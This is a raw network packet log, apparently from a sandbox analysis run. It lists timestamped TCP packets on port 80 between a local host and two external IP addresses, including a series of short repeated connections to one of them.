Nov 20, 2024 11:08:10.051855087 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.052642107 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.052654982 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.052666903 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.052695990 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.052695990 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.052727938 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.052803993 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.052855968 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.053801060 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.053817034 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.053828955 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.053841114 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.053849936 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.053862095 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.053862095 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.053894997 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.053894997 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.055361986 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.055372953 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.055382967 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.055429935 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.055429935 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.055533886 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.055551052 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.055571079 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.055598021 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.055598021 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.055629015 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.057280064 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.057292938 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.057302952 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.057334900 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.057334900 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.058032036 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.058043003 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.058079958 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.059835911 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.059848070 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.059891939 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.061108112 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.061120033 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.061162949 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.062727928 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.062740088 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.062782049 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.062783003 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.063093901 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.063106060 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.063116074 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.063126087 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.063155890 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.063155890 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.064228058 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.064239979 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.064249992 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.064289093 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.064289093 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.065906048 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.065958977 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.066076994 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.066087961 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.066124916 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.067435026 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.067445993 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.067456961 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.067467928 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.067490101 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.067490101 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.067522049 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.069164038 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.069174051 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.069183111 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.069192886 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.069219112 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.069251060 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.069251060 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.070734024 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.070744991 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.070785999 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.070786953 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.070880890 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.070935965 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.071175098 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.071187019 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.071197033 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.071208000 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.071230888 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.071230888 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.071261883 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.073853970 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.073865891 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.073875904 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.073888063 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.073895931 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.073906898 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.073937893 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.074074984 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.125508070 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.125519991 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.125530958 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.125540972 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.125551939 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.125566959 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.125603914 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.125603914 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.125634909 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.125684023 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.126915932 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126926899 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126935959 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126948118 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126957893 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126967907 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126969099 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.126976967 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126987934 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.126991987 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.126991987 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.127027988 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.127027988 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.127027988 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.128387928 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.128400087 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.128408909 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.128418922 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:10.128446102 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:10.128475904 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:14.319026947 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:14.319103956 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:17.074093103 CET	49165	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.079133034 CET	80	49165	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.079204082 CET	49165	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.118997097 CET	49165	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.124013901 CET	80	49165	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.124070883 CET	49165	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.128927946 CET	80	49165	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.823625088 CET	80	49165	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.823703051 CET	80	49165	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.823730946 CET	49165	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.823797941 CET	49165	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.831146955 CET	80	49165	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.916186094 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:17.921952963 CET	49166	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.927031040 CET	80	49166	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.927090883 CET	49166	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.928706884 CET	49166	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.934088945 CET	80	49166	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:17.934139013 CET	49166	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:17.939181089 CET	80	49166	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:18.691222906 CET	80	49166	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:18.691303968 CET	80	49166	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:18.691489935 CET	49166	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:18.693272114 CET	49166	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:18.698165894 CET	80	49166	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:18.829866886 CET	49167	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:18.834971905 CET	80	49167	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:18.837064028 CET	49167	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:18.838438034 CET	49167	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:18.845565081 CET	80	49167	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:18.846126080 CET	49167	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:18.853193045 CET	80	49167	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:19.578393936 CET	80	49167	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:19.578412056 CET	80	49167	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:19.578538895 CET	49167	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:19.578538895 CET	49167	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:19.583566904 CET	80	49167	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:19.717892885 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:19.727780104 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:19.727868080 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:19.729424000 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:19.737112999 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:19.737168074 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:19.745429039 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:20.483329058 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:20.483433962 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:20.483470917 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:20.483509064 CET	49168	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:20.491621971 CET	80	49168	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:20.627528906 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:20.634664059 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:20.637061119 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:20.639606953 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:20.648837090 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:20.648932934 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:20.653995991 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:21.399564981 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:21.399610996 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:21.399796009 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:21.399873972 CET	49169	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:21.404863119 CET	80	49169	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:21.547736883 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:21.553889990 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:21.554084063 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:21.556432962 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:21.561351061 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:21.561434984 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:21.566390991 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:22.424345016 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:22.424449921 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:22.424479008 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:22.424519062 CET	49170	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:22.431804895 CET	80	49170	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:22.568690062 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:22.577080011 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:22.577214956 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:22.579590082 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:22.587671995 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:22.587776899 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:22.595927954 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:23.353054047 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:23.353432894 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:23.353502035 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:23.377943993 CET	49171	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:23.382906914 CET	80	49171	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:23.726896048 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:23.731878042 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:23.731954098 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:23.780766964 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:23.789789915 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:23.789921999 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:23.798429012 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:24.467380047 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:24.467458010 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:24.467559099 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:24.477710962 CET	49172	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:24.482563019 CET	80	49172	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:24.617825031 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:24.622915983 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:24.622975111 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:24.624708891 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:24.629558086 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:24.629606962 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:24.634493113 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:25.379029989 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:25.379147053 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:25.379538059 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:25.379591942 CET	49173	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:25.387665987 CET	80	49173	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:25.531311035 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:25.539854050 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:25.539956093 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:25.542303085 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:25.550194025 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:25.550254107 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:25.558141947 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:26.297723055 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:26.297823906 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:26.297900915 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:26.297955036 CET	49174	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:26.303596973 CET	80	49174	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:26.439129114 CET	49175	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:26.444135904 CET	80	49175	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:26.444210052 CET	49175	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:26.446536064 CET	49175	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:26.451474905 CET	80	49175	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:26.451548100 CET	49175	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:26.456537962 CET	80	49175	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:27.189125061 CET	80	49175	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:27.189162970 CET	80	49175	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:27.189210892 CET	49175	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:27.189269066 CET	49175	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:27.194081068 CET	80	49175	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:27.330475092 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:27.335623026 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:27.335701942 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:27.337290049 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:27.342113018 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:27.342170000 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:27.346992970 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:28.082808018 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:28.082896948 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:28.082947016 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:28.089917898 CET	49176	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:28.097656012 CET	80	49176	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:28.278701067 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:28.283813000 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:28.283921003 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:28.285974979 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:28.290896893 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:28.290956020 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:28.295836926 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.023233891 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.023385048 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.023498058 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.023539066 CET	49177	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.028326988 CET	80	49177	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.150775909 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.155848980 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.155926943 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.157368898 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.162221909 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.162280083 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.167200089 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.900144100 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.900217056 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:29.900412083 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.900412083 CET	49178	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:29.907681942 CET	80	49178	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.038975000 CET	49179	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.047132969 CET	80	49179	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.047209978 CET	49179	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.048729897 CET	49179	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.056602955 CET	80	49179	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.056655884 CET	49179	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.064990997 CET	80	49179	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.800529003 CET	80	49179	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.800551891 CET	80	49179	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.800621033 CET	49179	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.801029921 CET	49179	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.805866957 CET	80	49179	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.930908918 CET	49180	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.935977936 CET	80	49180	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.936216116 CET	49180	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.937805891 CET	49180	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.942784071 CET	80	49180	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:30.942888975 CET	49180	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:30.952702045 CET	80	49180	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:31.709690094 CET	80	49180	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:31.709810972 CET	80	49180	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:31.709835052 CET	49180	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:31.709991932 CET	49180	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:31.714780092 CET	80	49180	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:31.849154949 CET	49181	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:31.855371952 CET	80	49181	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:31.855441093 CET	49181	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:31.856868982 CET	49181	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:31.861879110 CET	80	49181	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:31.861943960 CET	49181	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:31.869574070 CET	80	49181	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:32.666455984 CET	80	49181	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:32.666646004 CET	80	49181	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:32.666765928 CET	49181	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:32.666765928 CET	49181	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:32.675344944 CET	80	49181	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:32.800539970 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:32.807260990 CET	80	49182	94.156.177.41	192.168.2.22
Nov 20, 2024 11:08:32.807336092 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:32.808886051 CET	49182	80	192.168.2.22	94.156.177.41
Nov 20, 2024 11:08:32.814765930 CET	80	49182	94.156.177.41	192.168.2.22
